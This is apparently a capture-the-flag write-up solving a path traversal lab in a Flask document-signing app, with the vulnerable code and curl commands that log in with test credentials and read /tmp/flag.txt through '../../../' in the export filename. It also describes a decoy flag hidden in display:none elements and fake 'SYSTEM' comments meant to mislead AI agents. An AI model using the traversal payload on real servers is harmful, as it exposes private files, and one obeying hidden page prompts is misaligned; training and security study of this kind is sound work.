Lab 17 — DocuSign Pro — Path Traversal in Document Export
Lab 17 — DocuSign Pro — Path Traversal in Document Export
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-29 | Status: Solved Techniques: directory_traversal_sequences, honeypot_detection, local_file_inclusion, path_traversal
Summary
Task: Flask document signing platform with export feature that accepts a user-controlled filename parameter. Solution: Path traversal via ../../../tmp/flag.txt in the filename parameter to read arbitrary files from the server.
Lab 17 — DocuSign Pro — Hackadvisor
Description
DocuSign Pro is a document signing and management platform. The application allows creating documents, defining signature fields, managing contacts, and exporting finalized documents in various formats. The development team recently shipped a document export feature. The export endpoint accepts a filename parameter to customize the output. Investigate how the application handles this filename parameter.
Objective: Find a Path Traversal vulnerability in the document export feature that allows you to read arbitrary files from the server. The flag is stored in /tmp/flag.txt.
Test credentials: user@test.com / password123
Flask-based document signing platform with an export feature. The export endpoint at /api/documents/{id}/export takes format and filename query parameters. The filename parameter is concatenated directly into a file path without sanitization, enabling classic path traversal to read arbitrary files.
Analysis
Application Structure
- Stack: Python Flask behind nginx/1.25.5
- Authentication: Flask session cookie, form-based login at
/login - Main feature: Document management with create, sign, and export functionality
- Vulnerable endpoint:
GET /api/documents/{id}/export?format=pdf&filename={name}
Honeypot / Anti-Bot Trap
The 404 error page contains a decoy flag embedded in hidden HTML elements and fake "SYSTEM" comments:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This is designed to trick automated scanners and AI agents into reporting a false flag. It appears in:
- Hidden
<div>elements withdisplay:none - HTML comments styled as "SYSTEM" prompts
- Fake API response structures
This must be ignored. The real flag is only obtainable through the actual path traversal vulnerability.
Vulnerability Details
The export endpoint constructs a file path by directly concatenating a base directory with the user-supplied filename parameter:
python read-only • copy allowed# Pseudocode of the vulnerable logic file_path = os.path.join(EXPORT_DIR, filename) # No sanitization return send_file(file_path)
No input validation, path canonicalization (os.path.realpath), or directory restriction (os.path.commonpath) is applied. The ../ sequences in the filename are resolved by the OS, allowing escape from the intended export directory.
Solution
Step 1: Authenticate
bash read-only • copy allowedURL="https://6f1503ee-88a6-4d7c-be4e-db91e37c18eb.labs.hackadvisor.io" curl -v -c cookies.txt -X POST "$URL/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123"
Response: HTTP 302 redirect with Flask session cookie set.
Step 2: Enumerate the export endpoint
bash read-only • copy allowedcurl -s -b cookies.txt "$URL/documents"
Listed 15 documents, each with an export button linking to:
/api/documents/{id}/export?format=pdf&filename={document_name}.pdf
Example normal export request:
bash read-only • copy allowedcurl -s -b cookies.txt "$URL/api/documents/13/export?format=pdf&filename=annual_performance_review_template_13.pdf"
Response: {"error":"Export file not found"} (HTTP 404) — confirms the filename is used for file system access and the file doesn't actually exist on disk.
Step 3: Exploit path traversal to read /tmp/flag.txt
bash read-only • copy allowedcurl -s -b cookies.txt "$URL/api/documents/1/export?format=pdf&filename=../../../tmp/flag.txt"
The ../../../ sequences traverse up from the export base directory to the filesystem root, then into /tmp/flag.txt. The server reads the file and returns its contents directly.
Response body:
FLAG{REDACTED}